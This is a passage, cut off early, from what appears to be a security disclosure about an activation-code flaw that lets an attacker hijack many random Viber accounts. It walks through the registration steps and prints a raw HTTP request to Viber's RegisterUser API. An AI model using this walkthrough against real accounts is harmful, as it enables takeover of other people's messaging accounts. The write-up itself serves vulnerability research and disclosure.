Hijack a Large Set of Random Accounts using Activation Code in Viber Mobile
I. Introduction In reviewing the code of Viber mobile, I have detected a critical exploit which allows an attacker to hijack a large set of random Viber account using activation code. When registering a new user, there are some following steps in Viber. Step 1: register a phone number Step 2: Then, Viber sends an activation code though SMS or call to user for authentication. In this process, Viber uses 3 following APIs. API (a) /viber/viber.php?function=RegisterUser for registering a phone number POST /viber/viber.php?function=RegisterUser HTTP/1.1 User-Agent: Android Content-Type: application/x-www-form-urlencoded Content-Length: 1326 Host: secure.viber.com Connection: close Accept-Encoding: gzip, deflate XMLDOC=%3C%3Fxml+version%3D%271.0%27+encoding%3D%27utf-8%27+%3F%3E%0A%3CRegisterUserRequest%3E%0A++%3CPhoneNumber%3E0903010000%3C%2FPhoneNumber%3E%0A++%3CPushToken%3EGCM%3Adm-hOpf3H7g%3AAPA91bEDa5Y2IHDtAdI...